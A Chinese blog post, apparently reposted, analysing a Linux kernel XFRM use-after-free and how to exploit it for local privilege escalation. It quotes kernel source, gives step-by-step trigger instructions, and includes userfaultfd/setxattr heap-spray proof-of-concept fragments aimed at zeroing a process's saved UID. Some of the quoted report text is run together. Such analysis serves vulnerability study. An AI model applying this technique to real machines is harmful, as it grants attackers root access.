本文共 8117 字,大约阅读时间需要 27 分钟。
这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x
漏洞成因,数组越界。需要插入用户定义的 index timer set。
XFRM_MSG_NEWSA请求的路劲添加policy。添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privescstatic int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,struct nlattr **attrs){ struct net *net = sock_net(skb->sk);struct xfrm_userpolicy_info *p = nlmsg_data(nlh);struct xfrm_policy *xp;struct km_event c;int err;int excl;err = verify_newpolicy_info(p); [1]if (err)return err;err = verify_sec_ctx_len(attrs);if (err)return err;c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2xp = xfrm_policy_construct(net, p, attrs, &err);if (!xp)return err;excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;err = xfrm_policy_insert(p->dir, xp, excl); [2]xfrm_audit_policy_add(xp, err ? 0 : 1, true);...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p){ ...ret = verify_policy_dir(p->dir); [3]if (ret)return ret;if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]return -EINVAL;return 0;}
甚至在3.0版本中,根本没有检测。
static int verify_policy_dir(u8 dir){ switch (dir) { case XFRM_POLICY_IN: case XFRM_POLICY_OUT: case XFRM_POLICY_FWD: break; default: return -EINVAL; } return 0;}
伪造index = 4 , direction = 0; 将可以通过所有的认证。
触发越界位于 xfrm_policy_timer函数中。
if (unlikely(xp->walk.dead))goto out;dir = xfrm_policy_id2dir(xp->index); [5] index = 4 dir = 4...expired:read_unlock(&xp->lock);if (!xfrm_policy_delete(xp, dir)) [6]km_policy_expired(xp, dir, 1, 0);xfrm_pol_put(xp);}
其中 利用 xfrm_policy_id2dir();计算了direction。但是
static inline int xfrm_policy_id2dir(u32 index){ return index & 7;}
4 & 7 = 4 ; [6]越界行为。 4 & 3 =0
static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){ struct net *net = xp_net(pol);if (list_empty(&pol->walk.all))return NULL;/* Socket policies are not hashed. */if (!hlist_unhashed(&pol->bydst)) { hlist_del_rcu(&pol->bydst);hlist_del(&pol->byidx);}list_del_init(&pol->walk.all);net->xfrm.policy_count[dir]--; [7]return pol;}
1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 andpriority 0.2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) anda timer set.3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.4. XFRM_FLUSH_POLICY request is issued freeing the first policy.5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in theprevious step
步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:static void xfrm_hash_rebuild(struct work_struct *work){ .../* re-insert all policies by order of creation */list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) { if (policy->walk.dead || xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8] /* skip socket policies */ continue; } newpos = NULL; chain = policy_hash_bysel(net, &policy->selector, policy->family, xfrm_policy_id2dir(policy->index)); hlist_for_each_entry(pol, chain, bydst) { if (policy->priority >= pol->priority) newpos = &pol->bydst; else break; } if (newpos) hlist_add_behind(&policy->bydst, newpos); else hlist_add_head(&policy->bydst, chain); }
However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the bydst policy list.int xfrm_policy_flush(struct net *net, u8 type, bool task_valid){ ...for (dir = 0; dir < XFRM_POLICY_MAX; dir++) { struct xfrm_policy *pol; int i; again1: hlist_for_each_entry(pol, &net->xfrm.policy_inexact[dir], bydst) { if (pol->type != type) continue; __xfrm_policy_unlink(pol, dir); spin_unlock_bh(&net->xfrm.xfrm_policy_lock); cnt++; xfrm_audit_policy_delete(pol, 1, task_valid); xfrm_policy_kill(pol); [9]...
When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [10]:static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){ struct net *net = xp_net(pol); if (list_empty(&pol->walk.all)) return NULL; /* Socket policies are not hashed. */ if (!hlist_unhashed(&pol->bydst)) { hlist_del_rcu(&pol->bydst); [10] hlist_del(&pol->byidx); } list_del_init(&pol->walk.all); net->xfrm.policy_count[dir]--; return pol;}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:static inline void __hlist_del(struct hlist_node *n){ struct hlist_node *next = n->next;struct hlist_node **pprev = n->pprev;WRITE_ONCE(*pprev, next); [11]if (next)next->pprev = pprev;}
The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer
in the freed object gets overwritten with 0 (8-byte write) in [11].*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。 最终: pol2->pprev = pol1。pol2还引用着释放后的pol1值。 堆喷站位。删除pol2
next = pol2->next =NULL pprev = pol2->pprev =pol1pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。
也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。
整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。
static pthread_t spray_setxattr(int flag, int idx){ pthread_t ret; void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ if (!addr) { perror("mmap"); exit(-1); } ret = uffd_setup(addr, 0x1000, flag, idx); sem_wait(&shmaddr[idx]); if (flag) { int c; read(pipedes1[0], &c, 1); } setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ return ret;}
void *addr; addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000); sem_post(&shmaddr[idx + 1]); int c; read(pipedes0[0], &c, 1); struct uffdio_copy io_copy; char src[0x1000]; io_copy.dst = (unsigned long)addr; io_copy.src = (unsigned long)src; io_copy.len = 0x1000; io_copy.mode = 0; if ((idx > (SEM_MAX - 1)) || (idx < 205)) { sleep(1); if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) { perror("UFFDIO_COPY"); } sleep(3);
本来有个setup_sandbox启用子命名空间,但是被注释掉了。
对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。 开始没明白,后来看了这个 https://xz.aliyun.com/t/2814 原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。while true; do ./test && break; done
但作用和传统的堆喷还是有区别的,因为确实没有填任何数据进去,意义在意就在于分割内存,使cred结构体能够被成功的从内存list当中分配,最后利用利用置零漏洞,把特定位置也就是suid的位置置零。
大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,需要竞态实现上诉完整过程。
struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif uid_t uid; /* real UID of the task */ gid_t gid; /* real GID of the task */ uid_t suid; /* saved UID of the task */ gid_t sgid; /* saved GID of the task */ uid_t euid; /* effective UID of the task */ gid_t egid; /* effective GID of the task */ uid_t fsuid; /* UID for VFS ops */ gid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */......};
struct xfrm_policy { #ifdef CONFIG_NET_NS struct net *xp_net;#endif struct hlist_node bydst; struct hlist_node byidx;.....};typedef __kernel_uid32_t uid_t;
cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。
转载地址:http://qnjvb.baihongyu.com/